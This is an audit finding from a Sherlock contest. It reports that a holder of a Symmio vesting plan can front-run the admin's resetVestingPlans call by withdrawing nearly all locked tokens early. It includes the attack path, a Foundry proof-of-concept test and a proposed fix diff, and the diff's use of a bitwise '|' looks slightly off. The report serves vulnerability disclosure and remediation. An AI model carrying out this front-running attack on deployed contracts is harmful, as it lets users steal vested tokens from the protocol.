Fluffy Champagne Sardine

Medium

# Attacker can front-run the `Vesting::resetVestingPlans` stealing their original vested amount

### Summary

Attacker can front-run the `resetVestingPlans` and receive free tokens equal to the amount of tokens previously vested. 
https://github.com/sherlock-audit/2025-03-symm-io-stacking/blob/main/token/contracts/vesting/Vesting.sol#L118

This is an issue because the contract is explicitly checking the amount of tokens unlocked, but not the amount of tokens unlocked by paying an early penalty fee of 50%. A 50% fee is not an issue because the tokens gained come at no cost to the attacker.

Here is the error where the contract checked the unlocked amount, but does not check the locked amount  that was withdrawn with a penalty.
https://github.com/sherlock-audit/2025-03-symm-io-stacking/blob/main/token/contracts/vesting/Vesting.sol#L231



### Root Cause

Whenever, the admin calls the `Vesting::resetVestingPlans` function to update the vested amount of a user it overwrites there original vested amount. Therefore, an attacker can front-run this action by calling `Vesting::claimLockedToken` and withdraw almost all their originally vested amount (they have to leave 1 wei so it passes the `isSetup` check inside the [VestingLibrary](https://github.com/sherlock-audit/2025-03-symm-io-stacking/blob/main/token/contracts/vesting/libraries/LibVestingPlan.sol#L87)
 https://github.com/sherlock-audit/2025-03-symm-io-stacking/blob/main/token/contracts/vesting/Vesting.sol#L160

### Internal Pre-conditions

1. The attacker must have an existing vesting plan

### External Pre-conditions

1. The admin calls the `Vesting::resetVestingPlans`


### Attack Path

1. The admin with the SETTER role calls the `Vesting::resetVestingPlans` function
2. The attacker front-runs the transaction and calls [claimLockedToken](https://github.com/sherlock-audit/2025-03-symm-io-stacking/blob/main/token/contracts/vesting/Vesting.sol#L160)
3. The attacker leaves 1 wei in the vesting plan.
4. `Vesting::resetVestingPlans` is successfully processed.
5. The attacker is rewarded with the original vesting amount minus early withdraw fee for locked tokens currently 50%).

### Impact

Users can steal vested Symmio tokens.

### PoC

The following PoC is written is Foundry.
https://book.getfoundry.sh/config/hardhat
To add Foundry run:
1. `npm i --save-dev @nomicfoundation/hardhat-foundry`
2. Add require("@nomicfoundation/hardhat-foundry"); to the top of your hardhat.config.js file.

Paste the following test into the project test folder and run with `forge test --mt test_frontRunVestingReset -vvv`

```solidity
// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.18;

import {Test} from "forge-std/Test.sol";
import {SymmVesting} from "../../contracts/vesting/SymmVesting.sol";
import {TransparentUpgradeableProxy} from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract MockERC20 is ERC20 {
    uint8 immutable DECIMALS;

    constructor(string memory name_, string memory symbol_, uint8 _decimals) ERC20(name_, symbol_) {
        _mint(msg.sender, 10_000_000 * 10 ** 18);
        DECIMALS = _decimals;
    }

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }

    function decimals() public view override returns (uint8) {
        return DECIMALS;
    }
}

contract TestSymmVesting is Test {
    address public admin = makeAddr("admin");
    address public penaltyReceiver = makeAddr("penaltyReceiver");

    //Base Network constants

    address constant POOL = 0x94Bf449AB92be226109f2Ed3CE2b297Db94bD995;
    address constant ROUTER = 0x76578ecf9a141296Ec657847fb45B0585bCDa3a6;
    address constant PERMIT2 = 0x000000000022D473030F116dDEE9F6B43aC78BA3;
    address constant VAULT = 0xbA1333333333a1BA1108E8412f11850A5C319bA9;
    address constant SYMM = 0x800822d361335b4d5F352Dac293cA4128b5B605f;
    address constant USDC = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;
    address constant SYMM_LP = 0x94Bf449AB92be226109f2Ed3CE2b297Db94bD995;

    //Contract instances
    SymmVesting public symmVesting;
    MockERC20 public symmToken;

    //actors
    address user1 = makeAddr("user1");
    address user2 = makeAddr("user2");
    address user3 = makeAddr("user3");
    address[] users = [user1, user2, user3];

    function setUp() public {
        //mock symm token
        symmToken = new MockERC20("Symmio", "SYMM", uint8(18));

        SymmVesting impl = new SymmVesting();
        vm.startPrank(admin);
        bytes memory data = abi.encodeWithSelector(
            SymmVesting.initialize.selector,
            admin,
            penaltyReceiver,
            POOL,
            ROUTER,
            PERMIT2,
            VAULT, /* SYMM */
            address(symmToken),
            USDC,
            SYMM_LP
        );
        TransparentUpgradeableProxy proxy = new TransparentUpgradeableProxy(address(impl), admin, data);
        symmVesting = SymmVesting(address(proxy));
        vm.stopPrank();
    }

    function test_runVestingSetup() public {
        //run the setup function
    }

    //////////////////////////
    //   Main Test         //
    /////////////////////////

    function test_frontRunVestingReset() public {
        //setup a vesting plan for a user
        setupVestingPlan(user1, 10_000e18);

        uint256 amountToClaim = 9_999e18;

        //front run the vesting reset
        vm.startPrank(user1);
        symmVesting.claimLockedToken(address(symmToken), amountToClaim);
        vm.stopPrank();
        //The early withdrawal penalty is 50% fee
        vm.assertEq(symmToken.balanceOf(user1), 4999500000000000000000);

        //Vesting is reset by the admin
        resetVestingPlan(user1, 5_000e18);
        vm.assertEq(symmVesting.getLockedAmountsForToken(user1, address(symmToken)), 5_000e18);
    }

    //////////////////////////
    //   Helper Functions   //
    /////////////////////////

    function setupVestingPlan(address _user, uint256 _amount) public {
        uint256 duration = 7 days;
        address[] memory userArray = new address[](1);
        userArray[0] = _user;
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = _amount;
        //Setup vesting plans
        vm.startPrank(admin);
        symmVesting.setupVestingPlans(
            address(symmToken), block.timestamp, block.timestamp + duration, userArray, amounts
        );
    }

    function resetVestingPlan(address _user, uint256 _amount) public {
        address[] memory userArray = new address[](1);
        userArray[0] = _user;
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = _amount;
        //reset the vesting plan
        vm.startPrank(admin);
        symmVesting.resetVestingPlans(address(symmToken), userArray, amounts);
        vm.stopPrank();
    }
}

```

### Mitigation

When reseting vesting plans checked the withdrawn locked tokens here: https://github.com/sherlock-audit/2025-03-symm-io-stacking/blob/main/token/contracts/vesting/Vesting.sol#L231

```diff
                         VestingPlan storage vestingPlan = vestingPlans[token][user];
-			if (amount < vestingPlan.unlockedAmount()) revert AlreadyClaimedMoreThanThis();
+                       if (amount < vestingPlan.unlockedAmount() | amount < vestingPlan.lockedAmountWithdrawn) revert AlreadyClaimedMoreThanThis();
			uint256 oldTotal = vestingPlan.lockedAmount();
```
Of course this would require the contract to tracked the amount of locked tokens withdrawn.